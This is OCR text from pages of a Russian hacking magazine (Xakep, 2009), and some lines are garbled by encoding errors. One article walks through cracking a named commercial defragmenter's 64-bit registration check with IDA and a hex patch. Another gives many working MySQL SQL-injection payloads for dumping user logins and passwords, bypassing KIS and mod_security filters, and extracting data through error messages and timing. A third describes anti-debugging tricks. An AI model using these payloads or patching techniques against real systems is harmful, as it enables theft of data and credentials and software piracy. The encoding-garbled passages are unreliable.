(Intel® 64 and IA-32 Architectures SoftwareDeveloper's Manuals). И, соответственно, аналогичнаядокументация от AMD: developer.amd.com/documentation/guides/Pages/default.aspx.В частности, стоит обратить внимание на руководствоAMD64 Architecture Programmer's Manual Volume 3, —различия между 32 и 64 описаны довольно подробно.Понятное дело, что для чтения манов нужно знаниеанглийского. Кто еще не успел выучить — может почитатьстатью Криса Касперски «64-битный привет», там обозначеныосновные моменты, необходимые для начала работы.RESEARCH Ну вот, подошли к самому главному — реверсуконкретного софта. По ходу дела буду пояснять различные64-разрядные нововведения. Собственно жертвойисследований станет софтина Purag Defrag. Защитаздесь несложная, как раз чтобы привыкнуть к 64-битномукрекингу. Работает 30 дней. Все это время в заголовкекрасуется надпись xx Day(s) Remaining. На вкладке BuyNow нам предлагают ввести регистрационный код и приошибочном вводе выдают сообщение о неверном коде(внимание на скриншот).В папке с программой мы видим 2 экзешника —PuranDefragGUI.exe и PuranADT.exe. Второе — это дляпоказа иконки в трее, поэтому загружаем в IDA64 первое.К сожалению, попытки найти строки «Invalid registrationkey», «Trial Remaining» ничего не дали.Что ж, подготовимся к отладке. В директории с Идойлежит файл win64_remotex64.exe, запускаем его. Этоотладочный сервер. Затем настраиваем клиент. В менюDebuggerProcess options прописываем путь к отлаживаемойпрограмме, а также адрес сервера — 127.0.0.1(в нашем случае все локально) и порт — 23946 (смотририсунок).Все готово к дебагу. Теперь определимся с постановкойбряков. Сообщение, выдаваемое программой приневерном коде, напоминает то, что выводится функциейMessageBoxA(W). Отправимся в окно Imports Иды. Ага, иправда! Импортируется функция MessageBoxW. Ставимна нее точку останова. Здесь это делается так же, как и вOllyDbg — нажатием (и удаляется ей же). Запускаемпрограмму нажатием . Во время запуска возникаетряд эксепшнов, которые нужно игнорировать (чтобы неотвлекали :)). Для этого зайдем в Debugger Debuggeroptions, EXCEPTIONS Edit. Существует два вариантаобращения с эксепшенами: обработать самим или передатьприложению. Для EXCEPTION_ACCESS_VIOLATION(0xFFFFFFFFC0000005) выбираем второй вариант — «Passto application».После запуска приложения делаем попытку ввести какойнибудькод и брякаемся на таком фрагменте:.text:000000000042D039 loc_42D039:.text:000000000042D039 mov r9d, edi.text:000000000042D03C mov r8, rsi.text:000000000042D03F mov rdx, r12.text:000000000042D042 mov rcx, r13.text:000000000042D045 call cs:MessageBoxW.text:000000000042D04B mov esi, eaxПервое, что бросается в глаза (за исключением новыхрегистров), — это модель вызова функций. Первые 4 аргументав регистрах (rcx, rdx, r8, r9), остальные в стеке. УMessageBox всего четыре, значит, все в регистрах :).Далее смотрим в стек (его можно просмотреть в окнеIDAView — RSP) и переходим по адресу возврата, чтобыузнать, откуда вызывается эта процедура, показывающаясообщение.Окей, еще раз переходим по адресу возврата и видим, чторугательство выводит код:.text:0000000000407094 invalid_reg_codeproc near ; CODE XREF: sub_406DF0+5B j.text:0000000000407094lea r8, Caption ; "Puran Defrag".text:000000000040709Blea rdx, aInvalidRegistr ; "InvalidRegistration Key"HTTP://WWWlinks• Подробнее о моделивызова функций ио PE32+ можно прочитатьв замечательнойстатье ImprovingAutomated Analysisof Windows x64Binaries (uninformed.org/?v=4&a=1&t=pdf).• На русском будетполезна статья«Общие сведения осоглашениях о вызовахдля архитектурыx64» (msdn.microsoft.com/ru-ru/library/ms235286.aspx).• Свои вопросы, касающиесяx64, можнозадать на форумеwasm в одноименномразделе. Да и вообще,там много полезнойинформациипо указанной теме:wasm.ru/forum/viewforum.php?id=31.WARNINGwarningВнимание! Информацияпредставленаисключительнос целью ознакомления!Ни автор, ниредакция за твоидействия ответственностине несут!XÀÊÅÐ 12 /132/ 09 059


ВЗЛОМ64-bit64-bit64-bit64-bitНЕУДАЧНАЯ ПОПЫТКА РЕГИСТРАЦИИ PURANDEFRAGНАСТРОЙКИ ОТЛАДЧИКА В IDA.text:00000000004070A2 mov r9d, 40h.text:00000000004070A8 mov rcx, rsi.text:00000000004070AB call sub_42D600Прокрутим листинг чуть выше invalid_reg_code и увидим код, которыйсчитывает и проверяет введенный регистрационный код:.text:0000000000406E2B call ?GetDlgItem@CWnd@@QEBAPEAV1@H@Z ; CWnd::GetDlgItem(int).text:0000000000406E30 mov r8d, 7FFFh.text:0000000000406E36 mov rdx, rdi.text:0000000000406E39 mov rcx, rax.text:0000000000406E3C call sub_42B098; â ýòîé ïðîöåäóðå áåðåì òåêñò èç ýäèòà.text:0000000000406E41 mov rcx, rdi.text:0000000000406E44 call check_reg_code.text:0000000000406E49 test eax, eax.text:0000000000406E4B jz invalid_reg_code.text:0000000000406E51 mov ecx, 800h.text:000000000040940F cmp rbx, rdi.text:0000000000409412 mov rbx, [rsp+0A8h+arg_8].text:000000000040941A setz al.text:000000000040941D length_not_match:.text:000000000040941D mov r13, [rsp+0A8h+var_18].text:0000000000409425 mov rdi, [rsp+0A8h+var_8].text:000000000040942D add rsp, 0A8h.text:0000000000409434 retnДалее сделаем патч функции check_reg_code. Патч переходапосле вызова этой функции, как известно, некрасивое решение,поэтому будем модифицировать саму check_reg_code. Чтобыпрограмма думала, что зарегана, необходимо сделать так, чтобыфункция возвращала всегда единицу. Для этого запишем в началеcheck_reg_code:sub eax,eaxinc eaxretВ случае если в eax будет ненулевое значение, то программа поблагодаритза регистрацию и запишет в файл npd6.pdk («спрятанный» в \WINDOWS\system32\) введенный ключ. Этот же ключ проверяется призапуске приложения.Функция, обозначенная у меня как check_reg_code, вызываетсятолько из двух мест: при старте программы и при проверке введенногокода. В этом ты можешь убедиться, если заглянешь в окно ссылокна функцию (xrefs) в IDA..text:00000000004091D0 check_reg_code proc near.text:00000000004091D0 mov [rsp+arg_0], rcx.text:00000000004091D5 mov r11, rsp.text:00000000004091D8 sub rsp, 0A8h.text:00000000004091DF mov [r11-8], rdi.text:00000000004091E3 xor eax, eax.text:00000000004091E5 mov [r11-18h], r13.text:00000000004091E9 mov r13, rcx.text:00000000004091EC mov rcx, 0FFFFFFFFFFFFFFFFh.text:00000000004091F3 mov rdi, r13.text:00000000004091F6 repne scasw.text:00000000004091F9 not rcx.text:00000000004091FC sub rcx, 1.text:0000000000409200 cmp rcx, 19h; ñêîëüêî ñèìâîëîâ ðåãèñòðàöèîííûé êîä? åñëèíå 25 (19h), òî íàñ ïîñûëàþò ñðàçó.text:0000000000409204 jnz length_not_match.text:000000000040920A checking_:; ïðîâåðêà ââåäåííîãî êîäà060В опкодах это будет выглядеть как 2B C0 FF C0 C3. Кстати, в 64-битномрежиме однобайтовые инструкции inc, которые применялись для работыс регистрами в 32-разрядном коде (inc eax, inc edx etc), не поддерживаются.Дело тут в rex-префиксах, в диапазон которых и попадаютоднобайтовые команды инкремента. Почитать об этом можно в ужеупомянутом мной третьем томе руководства программиста AMD, ну илиу Интелов.Как я говорил, для патча будем юзать Hex Editor Neo. Грузим файлPuranDefragGUI.exe в хекс-редактор. Запускаем дизассемблер (менюTools Run disassembler). В настройках указываем дизассемблируемуюсекцию и набор команд. Помимо 64-битного кода, Neo editor можетдизасмить msil и 32-битный код.Жмем (Go to), чтобы перейти по нужному адресу, выбираемVirtual Address (по умолчанию Neo Hex Editor предлагает вводить RawAddress) и вводим 00000000004091D0, Это соответствует адресу началафункции check_reg_code. Что тут можно сказать — Neo Hex Editor штукас перегруженным интерфейсом и непривычная (после Хью или OllyDbg),но для патча вполне применимая. После всех этих манипуляций программабудет «зарегана».ÑONCLUSION Вот и познакомились с патчем и исследованием64-битных программ. И это только начало (причем пример былочень простой), так как есть 64-битные протекторы исполняемыхфайлов (например, PeSpin x64), уже знакомые крекеру по 32-битномуопыту. C распаковкой тоже свои тонкости. Так, для дампа ипоследующей реконструкции импорта потребуется другой софт,привычные LordPe / PeTools и Imprec здесь бессильны. Но об этомв следующих статьях. Удачи в исследованиях! zXÀÊÅÐ 12 /132/ 09


ВЗЛОМДМИТРИЙ ЕВТЕЕВ POSITIVE TECHNOLOGIESВЛАДИМИР D0ZNP ВОРОНЦОВ ONSEC.RUÁÛÑÒÐÅÅ, ÂÛØÅÈ ÑÍÎÂÀ ÁÛÑÒÐÅÅÐÅÂÎËÞÖÈÎÍÍÛÅ ÏÎÄÕÎÄÛÊ ÝÊÑÏËÓÀÒÀÖÈÈ SQL-ÈÍÚÅÊÖÈÉ ÏÎÑËÅÄÍÅÅ ÂÐÅÌß ÑÒÀËÎ ÌÎÄÍÛÌ ÏÈÑÀÒÜ ÏÐÎ SQL-ÈÍÚÅÊÖÈÈ.ÑËÅÄÓß ÝÒÈÌ ÒÅÍÄÅÍÖÈßÌ, ÌÛ ÏÎÄÃÎÒÎÂÈËÈ ÄËß ÒÅÁß ÍÎÂÛÅÌÅÒÎÄÈÊÈ ÓÑÊÎÐÅÍÈß ÐÀÁÎÒÛ Ñ BLIND-SQL È ÊÎÍÑÎËÈÄÈÐÎÂÀËÈÍÅÊÎÒÎÐÛÅ ÍÎÂÛÅ ÒÐÞÊÈ ÏÎ ÝÊÑÏËÓÀÒÀÖÈÈ ÑÀÌÛÕ ÎÁÛ×ÍÛÕÈÍÚÅÊÖÈÉ.«SQL-инъекция» — способ нападения на базуданных в обход межсетевой защиты. В этомметоде параметры, передаваемые к базеданных через Web-приложения, изменяютсятаким образом, чтобы повлиять на выполняемыйв приложении SQL-запрос. Инъекцияосуществляется через все доступные способывзаимодействия с приложением (GET/POST/COOKIE/etc).Нападение может использоваться для следующихцелей:1. Получить доступ к данным, которые обычнонедоступны, или получить данные конфигурациисистемы, которые могут использоватьсядля развития вектора атаки. Например,измененный SQL-запрос может возвратитьхешированные пароли пользователей, которыевпоследствии могут быть расшифрованыметодом перебора.2. Получить доступ к другим системам черезкомпьютер, на котором находится базаданных. Это можно реализовать, используяпроцедуры базы данных и расширения 3GLязыка,которые позволяют взаимодействовать062с операционной или файловой системой.По техники эксплуатации SQL-инъекцииусловно можно разделить на три группы:1. Êëàññè÷åñêàÿ SQL-èíúåêöèÿ2. Ñëåïàÿ SQL-èíúåêöèÿ (blind SQLInjection)3. Àáñîëþòíî ñëåïàÿ SQL-èíúåêöèÿ(Double blind SQL Injection)Рассмотрим каждую технику более подробно.Учитывая, что эксплуатация SQL Injectionсильно зависит от используемого языкаструктурированных запросов (SQL, StructuredQuery Language), ограничимся наиболеераспространенной базой данных — MySQL.Также будем предполагать, что инъекцияосуществляется через SELECT-запрос, а нечерез, например, INSERT.ÊËÀÑÑÈ×ÅÑÊÀß SQL-ÈÍÚÅÊÖÈßКласси ческая техника эксплуатации SQLинъекций— это, прежде всего, возможностьобъединить два SQL-запроса с цельюполучения дополнительных данных из некоторойтаблицы. Возможность проведенияклассической инъекции во многом упрощаетполучение полезной информации из СУБД :).Проведение атаки в основном происходит сиспользованием оператора union. В случае,когда в тело возвращаемой страницы выводитсятолько одна запись из таблицы, прибегаютк технике построчного чтения данных:?/id=1 limit 0 union selectlogin,password from users limit0,1?/id=1 limit 0 union selectlogin,password from users limit1,1Или так:?/id=1 limit 0 union selectlogin,password from users limit 1offset 0?/id=1 limit 0 union selectlogin,password from users limit 1XÀÊÅÐ 12 /132/ 09


SQL-ИНЪЕКЦИИ БЫВАЮТ РАЗНЫЕoffset 1Надо сказать, что получение данных из большой таблицыпри таком подходе является достаточно долгим процессом.Поэтому когда пользователь, от имени котороговыполняются запросы к MySQL, обладает привилегиямиfile_priv, становится возможным использовать выводselect-запроса в файл:?/id=1 limit 0 union select login,passwordfrom users into outfile '/tmp/users'или?/id=1 limit 0 union select login,passwordfrom users into dumpfile '/tmp/users'Собственно, возможность работать с файловой системойпри эксплуатации SQL-инъекции — это один шаг дополучения возможности выполнения команд на сервере.Потому SQL-инъекции и относятся к классу уязвимостейCommand Execution в общепринятой терминологии.Когда инъекция попадает в SQL-запрос, который осуществляетсяв таблице с ограниченным числом столбцов,прибегают к функциям склеивания данных, таким какconcat() и concat_ws():?/id=1 limit 0 union selectconcat(login,password) from users?/id=1 union select concat_ws(':',login,password) from usersА для случаев, когда после внедряемого запроса присутствуют«остатки» от «хорошего» SQL-запроса, прибегаютк вырезанию этого «мусора» путем использования комментариев:?/id=1 union select login,password fromusers--?/id=1 union select login,password fromusers/*?/id=1 union select login,password fromusers#Все просто и легко, но лишь до момента, пока суровыеадминистраторы не стали использовать различные фильтрыбезопасности (aka WAF, Web Application Firewall), чтобызащитить дырявые Web-приложения. Такие фильтры преимущественноиспользуют сигнатурный анализ, что являетсяих основным недостатком. Возможности языка SQL во многихслучаях позволяют обойти различного рода фильтрациюпоступающих данных в приложение. Например, забавнонаблюдать, как KIS <strong>2009</strong> ругается на следующий запрос:/?id=1 union select password from usersПримечательно, что такие запросы проходят без какойлибореакции:ЭКСПЛУАТАЦИЯ SQL-ИНЪЕКЦИЙ СИЛЬНО ЗАВИСИТ ОТ ИС-ПОЛЬЗУЕМОГО ЯЗЫКА СТРУКТУРИРОВАННЫХ ЗАПРОСОВ ИВОЗМОЖНОСТЕЙ СУБД/?id=1 union select passwd from users/?id=1 union select pass from users/?id=1 union select password from user/?id=1 union select login from users—И т.п. Но как быть, если необходимо использовать именноколонку с именем «password» и таблицу с именем«users»? Как один из вариантов, можно эксплуатироватьуязвимость слепым методом:/?id=1 and 1=if(ord((lower(mid((selectpassword from users limit0,1),1,1))))=NUM,1,2)--В данном случае фильтр KIS обходится еще более изящно;). Сигнатура срабатывает только на строки «password»и «users», следующие после ключевого слова «union».Учитывая это, можно составить запрос, который будетработать в обход фильтра:/?id=1 and (select (@v:=password)from userslimit 0,1) union select @v--/?id=1 and (select (@v:=password)from userslimit 1,1) union select @v--А вот так красиво обходится, казалось бы, непреступныйwaf mod_security последней сборки:/?id=1/*!limit 0 union select concat_ws(0x3a, login,password)from users*//?id=1/*!12345limit 0 union select concat_ws(0x3a,login,password)from users*/Это работает, потому как MySQL, встретив конструкциивида «/*!bla-bla*/» и «/*!12345bla-bla*/» проинтерпретирует«bla-bla» как SQL-код :). Во втором случае мускульсравнивает свою версию с числом «12345» и, если запущеннаяверсия выше этого значения, то sql-код будетисполнен. А «разумный» mod_security, прежде чем провестизапрос по своим сигнатурам базы уязвимостей SQL-Injection, избавляется от лишних данных в поступающемзапросе, т.е. от комментариев вида /**/.Но не всегда существует возможность влиять на возвращаемыеданные приложением при внедрении операторовSQL. Тогда уязвимость является «слепой». Стоит такжедобавить, что многие фильтры (в том числе и WAF) легкообходятся именно с использованием техники эксплуатацииblind SQL Injection.ÑËÅÏÀß SQL-ÈÍÚÅÊÖÈß Слепая SQL Injection появляется,когда уязвимый запрос является некоторой логикойработы приложения, но не позволяет вывести какие-либоINFOinfo• Авторские блоги:devteev.blogspot.comoxod.ru.• Использование бинарногодерева приэксплуатации слепыхSQL-инъекцийзаметно повышаетэффективность посимвольногоперебора(injection.rulezz.ru/mysql_char_brute.html).• en.wikipedia.org/wiki/Frequency_analysis — базовыезнания по частотномуанализу можно почерпнутьв ВИКИ.• bxmemo.narod.ru/index.html?text.htm— программа для составлениясловарейна основе частотногоанализа.• statsoft.ru/home/portal/exchange/textanalysis.htm —статья о частотноманализе в разныхязыках. Рекомендуетсяк прочтению весьраздел «Используемаялитература».XÀÊÅÐ 12 /132/ 09 063


ВЗЛОМтаблице или в файле. Пример эксплуатацииуязвимости для приведенного выше кода:/?id=1 and 555=if(ord(mid((selectpass from users limit0,1),1,1))=97,555,777).ГРОЗНЫЙ MOD_SECURITYKIS WAF BYPASS ;)КЛАССИЧЕСКИЙ ЧАСТОТНЫЙАНАЛИЗ АНГЛИЙСКОГО ЯЗЫКА.АНАЛОГИЧНЫЙ ГРАФИК МОЖНОНАЙТИ НА WIKIPEDIA.ORGданные в возвращаемую Web-приложениемстраницу. Пример уязвимого кода на PHP,содержащего уязвимость Blind SQL Injection:...$result = mysql_query("SELECTuser FROM users where id = ".$_GET['id']) or die('Query failed:' . mysql_error());if(mysql_num_rows($result)>0){...êàêàÿ-òî ëîãèêà ïðèëîæåíèÿ,íàïðèìåð, âûïîëíåíèå äðóãîãîselect-çàïðîñà...}else{echo "error";}...Слепая SQL-инъекция по своим возможностямсопоставима с классической техникойвнедрения операторов SQL. Аналогичноклассической технике эксплуатации подобныхуязвимостей, blind SQL-Injection позволяетзаписывать и читать файлы, получатьданные из таблицы, но только чтение вданном случае осуществляется посимвольно.Стандартная техника эксплуатации подобныхуязвимостей основывается на использованиилогических выражений true/false. Если выражениеистинно, то Web-приложение вернетодно содержимое, а если выражение являетсяложным, то другое. Полагаясь на различиявывода при истинных и ложных конструкцияхв запросе, становится возможным осуществлятьпосимвольный перебор данных вЕсли таблица «users» содержит колонку«pass», и первый символ первой записииз этой колонки равен 97 (символ «a»), томускуль вернет TRUE и запрос будет истинным.В противном случае — FALSE, и дляприведенного кода на странице отобразится«error». Приведенная выше техникаиспользовалась долгое время, но послевыхода X07’09 и X09’09 ситуация кореннымобразом поменялась. Qwazar описал новыенаправления эксплуатации слепых SQLинъекций.Его техника, в первом случае,заключается в использовании некорректныхрегулярных выражений, на которые MySQLпо-разному ругается во время выполненияselect-запроса (именно во время выполненияSQL-запроса, а не на моменте проверки егосинтаксиса). Совместно с методом, предложеннымElekt (select 1 union select 2), Qwazarпродемонстрировал, как за один запрос кWeb-приложению можно подбирать до 12-тисимволов. Запрос для атаки выглядит следующимобразом:/?id=1 AND 1 rlike concat(if((mid((select pass from userslimit 0,1),1,1)in('0'))>0,(0x787B312C3235367D),if((mid((select pass fromusers limit 0,1),1,1)in('1'))>0,(0x787B312C28),if((mid((select pass fromusers limit 0,1),1,1)in('2'))>0,(0x5B5B3A5D5D),if((mid((select pass fromusers limit 0,1),1,1)in('3'))>0,(0x5B5B),if((mid((select pass fromusers limit 0,1),1,1)in('4'))>0,(0x28287B317D),if((mid((select pass from userslimit 0,1),1,1)in('5'))>0,(0x0),if((mid((select pass from userslimit 0,1),1,1)in('6'))>0,(0x28),if((mid((select pass fromusers limit 0,1),1,1)in('7'))>0,(0x5B322D315D),if((mid((select pass from userslimit 0,1),1,1)in('8'))>0,(0x5B5B2E63682E5D5D),if((mid((select pass from userslimit 0,1),1,1)in('9'))>0,(0x5C),if((mid((select pass from userslimit 0,1),1,1)in('a'))>0,(select1 union select 2),(1)))))))))))))Так, если таблица «users» содержит колонку«pass» и первый символ первой записи изэтой колонки равен нулю, то мускуль вернетАНАТОМИЯ СЛЕПЫХSQL-ИНЪЕКЦИЙсообщение об ошибке «#1139 — Got error 'invalidrepetition count(s)' from regexp». Если первыйсимвол колонки «pass» равен единице, то будетполучена ошибка «#1139 — Got error 'braces notbalanced' from regexp» и т.д. Другое направлениепо быстрой эксплуатации слепых SQL-инъекций,которое продемонстрировал Qwazar, заключалосьв использовании сообщения ошибкиMySQL в качестве «контейнера» для полезныхданных (настоящий прорыв в методике эксплуатацииblind SQL Injection). Так, запрос вида:/?id=1 union select * from(select * from (select name_const((select pass from userslimit 1), 14)d) as t join (selectname_const((select pass fromusers limit 1), 14)e) b)aвыдаст сообщение об ошибке, в которомбудут находиться полезные данные из колонки«pass», например, MD5-хеш:#1060 — Duplicate column name 'f8d80def69dc3ee86c5381219e4c5c80'Используя указанный способ, за один запроск Web-приложению уже можно получить до64-х байт полезных данных. Используя функциисклеивания строк concat() или concat_ws(), становится возможным достаточноэффективно и за короткое время получитьдамп всей таблицы. К сожалению, подобныйтрюк с функцией name_const() пройдет тольков MySQL версиях 5.0.12>5.0.64.Продолжив раскопки в направлении заменыфункции name_const(), обнаружили не менееполезную функцию ExtractValue(), котораяпоявилась в MySQL версии 5.1.5. Указаннаяфункция предназначена для извлечениязначений из XML-потока данных. Но для этойфункции можно найти и другое, хакерскоеприменение :). Следующий запрос:/?id=1 and ExtractValue(1,concat(0x5C,(select pass from users limit0,1)));вернет сообщение об ошибке:064XÀÊÅÐ 12 /132/ 09


FAST DOUBLE BLIND SQL INJECTION PROOF OF CONCEPTСРАВНЕНИЕ ПОЛНОГО ЧАСТОТНОГОАНАЛИЗА БУКВ В АНГЛИЙСКОМ ЯЗЫКЕС ЧАСТОТНЫМ АНАЛИЗОМ ПЕРВОЙ БУКВЫВ СЛОВАХXPATH syntax error: '\f8d80def69dc3ee86c5381219e4c5c8'То есть, с ограничением в 31 полезных байт за одинзапрос к Web-приложению можно считывать данные изтаблицы при эксплуатации слепых SQL-инъекций подMySQL 5.1.5 и выше. Ошибка «XPATH syntax error» возникаетпо причине использования все того же некорректногорегулярного выражения — «\\».К сожалению, все описанное работает только в случае,когда в тело возвращаемой страницы попадает ошибкаMySQL, а это, увы, происходит далеко не всегда. И чтоже? Вновь пользоваться унылыми техниками посимвольногоперебора? Не всегда!Очень часто SQL-инъекцию можно встретить в цифровомпараметре приложения, а в зависимости от указаннойцифры, Web-приложение возвращает разный контент.Уловил, к чему я клоню? Именно! Сопоставив цифры ссамим контентом и наложив их на карту подбираемыхсимволов, можно очень эффективно считывать данные изтаблицы. Выглядеть это может так:Çàãîëîâîê íîâîñòè 111 — èäåíòèôèêàòîð âïàðàìåòðå id=3245 — ïîäáèðàåìûé ñèìâîë 0Çàãîëîâîê íîâîñòè 222 — èäåíòèôèêàòîð âïàðàìåòðå id=2456 — ïîäáèðàåìûé ñèìâîë 1Çàãîëîâîê íîâîñòè 333 — èäåíòèôèêàòîð âïàðàìåòðå id=4562 — ïîäáèðàåìûé ñèìâîë 2и т.д.Запрос для атаки (например, точная идентификацияпервого символа в MD5-хеше) может выглядеть:ФОНЕТИЧЕСКАЯ ДИАГРАММА ДЛЯ БУКВЫ «A»0,1),1,1)in('7'))>0,(12349),if((mid((select pass from users limit0,1),1,1)in('8'))>0,(12350),if((mid((select pass from users limit0,1),1,1)in('9'))>0,(12351),if((mid((select pass from users limit0,1),1,1)in('a'))>0,(12352),if((mid((select pass from users limit0,1),1,1)in('b'))>0,(12353),if((mid((select pass from users limit0,1),1,1)in('c'))>0,(12354),if((mid((select pass from users limit0,1),1,1)in('d'))>0,(12355),if((mid((select pass from users limit0,1),1,1)in('e'))>0,(12356),if((mid((select pass from users limit0,1),1,1)in('f'))>0,(12357),null))))))))))))))))WARNINGwarningВнимание! Информацияпредставленаисключительнос целью ознакомления!Ни авторы, ниредакция за твоидействия ответственностине несут!/?id=if((mid((select pass from users limit0,1),1,1)in('0'))>0,(3245),if((mid((select pass from users limit0,1),1,1)in('1'))>0,(2456),if((mid((select pass from users limit0,1),1,1)in('2'))>0,(4562),if((mid((select pass from users limit0,1),1,1)in('3'))>0,(12345),if((mid((select pass from users limit0,1),1,1)in('4'))>0,(12346),if((mid((select pass from users limit0,1),1,1)in('5'))>0,(12347),if((mid((select pass from users limit0,1),1,1)in('6'))>0,(12348),if((mid((select pass from users limitСтоит учитывать, что для данного метода существует ограничениена длину HTTP-запроса в 8192 байт. В остальномметод достаточно эффективен в условиях, когда сообщениеоб ошибке MySQL не отображается в возвращаемойстранице. По большому счету метод является универсальными не зависящим от используемой базы данных.ÄÂÎÉÍÀß ÑËÅÏÎÒÀ Бывают случаи, когда помимоподавления всех уведомлений об ошибках в возвращаемойстранице со стороны Web-приложения, уязвимыйк инъекции SQL-запрос используется исключительнодля своих внутренних целей. Например, это может бытьведение лога посещений, различного рода внутренниеоптимизации и пр. Подобные SQL-инъекции относятся ктретьей группе — Double blind SQL Injection.DVDdvdНа нашем диске тынайдешь proof ofconcept, реализующийидею по максимальнобыстрой эксплуатацииуязвимости doubleblind SQL Injection.XÀÊÅÐ 12 /132/ 09 065


ВЗЛОМRAZ0R HTTP://RAZ0R.NAMEпри подборе первого символа, например, вимени пользователя, выгоднее расположитьее подальше в массиве. Обратный пример —«w», которая находится на 5-м месте средибукв, с которых начинается слово, и толькона 16-м среди всех букв в словах. Итак, спервым символом стало понятнее, поехалидальше.ЧАСТОТНЫЕ РАСПРЕДЕЛЕНИЯДЛЯ ЗНАЧЕНИЙ MD5Техника эксплуатации подобной группыSQL-инъекций основана на временныхзадержках между посылаемым запросом кWeb-приложению и его ответом. В классическомвиде для ее эксплуатации используютфункцию benchmark(), однако лучшейпрактикой является использование функцииsleep(). Функция sleep() более безопаснадля подобных целей, ибо не используетпроцессорные ресурсы сервера, как этоделает функция benchmark(). Примерсамой простой реализации посимвольногоперебора с использованием временнойзадержки представлен ниже.function brute($column, $table, $lim){$ret_str = "";$b_str = "1234567890_abcdefghijklmnopqrstuvwxyz";$b_arr = str_split($b_str);for ($i=1;$i


Реклама


ВЗЛОМЛЕОНИД «CR@WLER» ИСУПОВ CRAWLER@XAKEP.RUÝÍÖÈÊËÎÏÅÄÈßÀÍÒÈÎÒËÀÄÎ×ÍÛÕÏÐÈÅÌÎÂСколько раз начинающие реверсеры спотыкались о настоящуюбанальщину — не сосчитать. Набив шишки, многие набрались опыта,взялись за виртуализированный код и потеряли спортивный интереск антиотладке. Наша с тобой задача — попытаться взглянуть наизвестные приемы антиотладки под новым углом. Когда уже нечегобольше искать, когда испробовано все — приходится копать вглубь,а не вширь, модифицируя существующие антиотладочные приемысамым неожиданным образом.КОГДА ТРАССИРОВКАБЕССМЫСЛЕННАОтладчики прикладного уровня хороши тем, чтос ними можно вытворять все, что душе угодно. Кпримеру, можно уйти от трассировки инструкциипутем изменения регистра сегмента стека.Звучит неправдоподобно, однако это действительнотак. Рассмотрим конструкцию:ADDRESS : PUSH SSADDRESS+1: POP SSADDRESS+2: MOV AX, AXADDRESS+5: NOPЕсли, трассируя такой код в отладчике прикладногоуровня, мы сделаем два шага, то… остановимсяпо адресу ADDRESS+2? Не тут-то было!Инструкция, следующая за POP SS, выполнитсяавтоматически, после чего мы окажемся поадресу ADDRESS+5. Каким образом это можноиспользовать для выполнения антиотладки? Впринципе, выполнение одной-единственнойинструкции ничего интересного не дает. Можетбыть, ты надеешься на call, но я поспешу тебяразочаровать: к сожалению, хотя инструкциявызова и выполнится, отладчик, скорее всего,установит точку останова на первую инструкциювызываемой функции, и реверсер узрит всезащитные «потроха». Необходимо придуматьчто-то более изощренное. Я предлагаю взятьлюбой известный антиотладочный прием (например,чтение флага — выдает все отладчикиприкладного уровня, на которые не навешаныспециальные плагины) и «скрестить» его с антитрассировочнымтрюком так, чтобы инструкция«POP SS» располагалась непосредственноперед условным переходом, который решаетсудьбу дальнейшего выполнения программы.Следующий код (он был прикручен к виндовому«Блокноту» при помощи OllyDbg) нагляднодемонстрирует эту особенность:01008748 PUSH SS; ïðîâåðÿåì, èìååòñÿ ëè â íàëè÷èèîòëàä÷èê ïðèêëàäíîãî óðîâíÿ01008749 MOV EAX,DWORD PTRFS:[18]0100874F MOV EAX,DWORD PTRDS:[EAX+30]01008752 MOVZX EAX,BYTE PTRDS:[EAX+2]01008756 TEST AL,AL; âûïîëíÿåì ìîäèôèêàöèþ ðåãèñòðà SSè "ïðîëåòàåì" âûïîëíåíèå èíñòðóêöèè; ïî àäðåñó 01008759, âñëåäñòâèå÷åãî ïðèëîæåíèå çàâåðøàåò ðàáîòó01008758 POP SS01008759 JNZ SHORT 01008777 ;ïåðåõîäèì "â ïóñòîòó"0100875B JMP 0100739D ; ïåðåõîäèìíà òî÷êó âõîäà notepad.exeРазумеется, вместо банальной проверки флаговможно использовать другой, более неоднозначныйкод. Пошаговая трассировка вплоть доадреса 01008759 оканчивается неудачей. Разбавленнаямусорным кодом, «фишка» способназаставить задуматься не слишком опытногореверсера. Метод хорош тем, что универсален иможет применяться для выполнения критическиважных защитных инструкций. Возможно,бывалого реверс-инженера это не остановит.С другой стороны, несколько десятков паринструкций «push ss/pop ss», равномерно разбросанныхв недрах защитного кода, заставятвзломщика находиться в постоянном напряжении.Сгодится использование приема и длясокрытия вызовов, ведущих «в никуда», если068 XÀÊÅÐ 12 /132/ 09


F9 НЕ СПАСАЕТ ОТ КРАХА, А ВОТ ВШТАТНОМ РЕЖИМЕ ПРОГРАММАРАБОТАЕТ ПРЕКРАСНОВНУТРИ ИНСТРУКЦИИ XOR ЗАТАИЛСЯ КОВАРНЫЙ MOVзащита пускает программу «лесом», обнаруживотладчик. JMP-ы, которые указывают на несуществующиеадреса памяти, достаточно частопринимаются не самыми умными дизассемблерамиотладочных средств за байты данных(в чем мы убедимся далее). И именно поэтомуможно укрыть переход при помощи рассмотренногоприема. Новичок будет недоумевать: инструкция«POP SS», которая меняет EIP, убиваяпрограмму — нечто невообразимое!КРАДЕМ ТАЙМЕРИЗ KERNEL32.DLLВсем, наверное, известен старый антиотладочныйприем, основанный на использованииAPI-функции GetTickCount, которая входит вбиблиотеку kernel32.dll. Выглядит он приблизительно,как представлено ниже:call GetTickCountxchg ebx, eaxcall GetTickCountsub eax, ebxcmp eax, 1jnb debugged...debugged: call ExitProcessMSDN описывает функцию так: «The returnvalue is the number of milliseconds that haveelapsed since the system was started». Следовательно,приведенный код подсчитываетвремя выполнения одной инструкциии, если оно превышает заданное значение(миллисекунду), процесс завершается,поскольку программа выполняется подотладчиком. Новое — это хорошо забытоестарое. Мы можем попробовать разнообразитьжизнь реверсера, немного изменивпринцип действия этого приема. Откроемпод отладчиком DLL-библиотеку Kernel32.XÀÊÅÐ 12 /132/ 09dll и посмотрим на код GetTickCount:7C80934A > BA 0000FE7FMOV EDX,7FFE00007C80934F 8B02MOV EAX,DWORD PTR DS:[EDX]7C809351 F762 04MUL DWORD PTR DS:[EDX+4]7C809354 0FACD0 18SHRD EAX,EDX,187C809358 C3 RETNЕсли вызов функции GetTickCount фигурирует вкоде, сразу становится ясно: используется таймер.Это вызывает справедливые подозрения вантиотладке. Чтобы запутать реверсера, частоиспользуется методика переноса кода API-функцийв тело программы. Ей мы и воспользуемся.Попробуем перенести рассмотренную намифункцию в конец секции кода «Блокнота», поадресу 0100876F (адрес может быть любым —секция выравнивания, оставленная компилятором,достаточно велика), после чего напишемантиотладочный код:01008748 CALL 0100876F; âûçûâàåì"íàø" GetTickCount0100874D XCHG EAX,EBX0100874E CALL 0100876F; 